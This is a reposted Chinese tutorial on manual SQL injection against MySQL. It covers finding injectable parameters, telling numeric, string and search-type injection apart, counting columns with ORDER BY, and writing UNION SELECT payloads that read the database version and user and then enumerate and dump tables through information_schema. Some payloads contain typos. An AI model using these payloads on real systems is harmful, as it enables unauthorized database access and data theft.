• 技术文章 >数据库 >SQL

    一起聊聊简单的sql手工注入过程

    长期闲置长期闲置2022-01-28 17:02:47转载368
    本篇文章给大家带来了关于sql中手工注入的相关问题,其中包括判断注入点以及判断注入类型的相关问题,希望对大家有帮助。

    判断注入点

    1.单引号法:直接在网址后面加一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在sql注入漏洞

    2.1=1和1=2:在网址后面的get传参中加上 and 1=1 ,显示正常,把1=1替换为1=2,显示异常,说明网页存在sql注入。

    判断注入类型

    1.数字型注入:注入变量的值不需要用引号引起来,如

    select * from user where id=$id;

    2.字符型注入:注入变量会用引号包裹起来,如`

    select * from user where username='$username';`

    注入时注意要闭合引号。
    3.搜索型注入:

    select * from user where username like '%$pass%';

    把sql语句构造为

    select * from user where username like '%$pass%' union select语句 '%%';

    即传输的变量为 pass%’ union select语句 '% 形成闭合。

    判断注入点提交方式

    通过抓包等方式判断注入点的提交方式是get,post,还是cookie。

    使用order by 查询字段

    使用order by 语句可以查询出数据库有多少个字段,可以通过不断的尝试来确定数据库字段数量,如在输入oeder by 9时,页面报错而输入order by 8时页面显示正常,即数据库中有8个字段。
    如查询语句为:select * from user where id='$id';
    可以构造下面的输入:(id = ') ' order by 3 '+--+
    即查询语句为:select * from user where id='' order by 3 '--'

    使用联合查询来查询当前数据库、用户、版本信息

    使用 union select 语句来查询当前使用用户 user() , 数据库database() ,数据库版本 version() ,服务器操作系统的@@version_compile_os等信息
    version版本十分重要,如果版本在5.0以上,就可以使用information_schema库来轻易的查询想要的信息
    构造语句:

    select * from user where id='' union select user(),database(),version()+--+;

    查询当前数据库中的表,列和值

    5.0 版本以上的mysql数据库自带的information_schema库中存储着数据库中所有的表名和列明信息。
    下面我们就应该根据第五步查询的当前数据库的结果(如数据库为database_1)名下所有的表名tables的信息。
    Information_schema.tables :记录着数据库中所有表名信息的表。
    构造的查询语句如下:

    Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--

    查询的结果为:第五步查询的当前数据库中的表名信息。
    Information_schema.columns:记录着数据库中所有的表中的列名信息;
    下面就应该根据上面查询得到的表名信息(如表为table_1)查询他的列名信息,构造语句如下:

    Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--

    查询出列名后,就可以直接通过联合查询查出表中存储的信息(如查出的列名为column_1,column_2)构造语句

    Selcet * from user where id='' union select 1,column_1,column_2 from tables;--

    即可查询出指定数据库指定表的存储数据

    推荐学习:mysql视频教程

    以上就是一起聊聊简单的sql手工注入过程的详细内容,更多请关注php中文网其它相关文章!

    声明:本文转载于:CSDN,如有侵犯,请联系admin@php.cn删除
    专题推荐:sql
    上一篇:一起聊聊MySQL事务与MVCC如何实现的隔离级别 下一篇:没有了
    PHP编程就业班

    相关文章推荐

    • php mysqli错误信息怎么获取• 一起聊聊MySQL事务与MVCC如何实现的隔离级别• 一文详解Go如何配置高性能sql.DB• 详解MySql Group by函数真正的打开方法!• 怎么增加php mssql扩展

    全部评论我要评论

  • 取消发布评论发送
  • 1/1

    PHP中文网